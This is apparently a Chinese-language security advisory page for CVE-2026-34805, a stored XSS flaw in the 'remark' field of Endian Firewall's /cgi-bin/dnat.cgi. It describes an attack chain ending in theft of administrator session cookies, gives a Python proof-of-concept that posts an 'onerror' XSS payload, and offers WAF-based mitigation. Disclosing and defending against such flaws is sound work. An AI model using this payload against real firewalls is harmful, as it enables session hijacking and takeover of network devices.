IPBUF安全漏洞报告
English
CVE-2026-34805 CVSS 6.4 中危

CVE-2026-34805 Endian Firewall存储型XSS漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34805
漏洞类型
存储型跨站脚本
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Endian Firewall

相关标签

XSS存储型XSSWeb安全Endian FirewallCVE-2026-34805跨站脚本

漏洞概述

Endian Firewall 3.3.25及之前版本被发现存在存储型跨站脚本(XSS)漏洞。该漏洞的具体成因在于/cgi-bin/dnat.cgi接口对用户输入的remark参数缺乏严格的过滤与验证。经过身份认证的攻击者可以利用此缺陷,在提交DNAT规则时注入恶意的JavaScript代码。一旦注入成功,这些恶意脚本将被持久化存储在服务器端。当其他管理员或用户访问受影响的管理页面并查看相关规则时,嵌入的恶意代码将在其浏览器环境中自动执行,从而导致会话劫持、数据窃取或其他进一步的攻击行为。

技术细节

该漏洞属于典型的存储型XSS,发生在Endian Firewall的DNAT配置管理模块中。应用程序在处理通过/cgi-bin/dnat.cgi提交的POST请求时,未对'remark'(备注)字段进行适当的HTML实体编码或输入清洗。攻击者首先需要获取一个低权限的有效账户,然后构造包含恶意载荷(如<script>标签或事件处理器)的HTTP请求发送至目标端点。服务器直接将未经过滤的数据存储在后端数据库或配置文件中。当特权用户浏览包含该备注的页面时,服务器将其作为HTML内容的一部分响应给浏览器,浏览器解析并执行其中的脚本。由于脚本在受害者的上下文中运行,攻击者可以利用Document Object Model (DOM)访问敏感信息(如Session ID),进而提升权限或进行内网横向移动。

攻击链分析

STEP 1
侦察与认证
攻击者识别目标为Endian Firewall系统,并通过弱口令猜测或钓鱼获取一个低权限账户的凭证。
STEP 2
漏洞利用
攻击者利用获得的凭证登录系统,向/cgi-bin/dnat.cgi发送特制的POST请求,在'remark'参数中注入恶意JavaScript代码。
STEP 3
载荷存储
服务器端未过滤恶意代码,将其存储在系统配置或数据库中。此时攻击者断开连接,等待受害者触发。
STEP 4
触发与执行
当管理员或其他高权限用户登录后台并访问DNAT规则列表页面时,系统加载包含恶意代码的备注内容,浏览器解析并执行脚本。
STEP 5
后续攻击
恶意脚本窃取管理员的Session Cookie或执行其他操作,攻击者利用该信息劫持会话,完全控制防火墙。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target-ip/cgi-bin/dnat.cgi" # Attacker's authenticated session cookie (required) cookies = { "sid": "valid_session_cookie_here" } # Malicious payload to be injected into the 'remark' field xss_payload = "<img src=x onerror=alert('XSS-By-CVE-2026-34805')>" # Construct the data payload # Note: Additional parameters might be required for the form to be accepted. # This focuses on the vulnerable 'remark' parameter. form_data = { "remark": xss_payload, "action": "add", # Assumed action based on typical CGI behavior "src_addr": "192.168.1.1", "dst_addr": "10.0.0.1" } try: response = requests.post(target_url, data=form_data, cookies=cookies) if response.status_code == 200: print("[+] Payload injected successfully!") print("[+] Navigate to the DNAT rules page to trigger the XSS.") else: print(f"[-] Injection failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

Endian Firewall 3.3.25 及之前版本

防御指南

临时缓解措施
在未升级补丁之前,建议管理员加强对防火墙配置页面的访问审计,避免在不可信的环境下登录管理后台。可以通过Web应用防火墙(WAF)部署规则,拦截针对/cgi-bin/dnat.cgi接口提交的包含HTML标签或JavaScript关键字的请求,作为临时的缓解手段。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表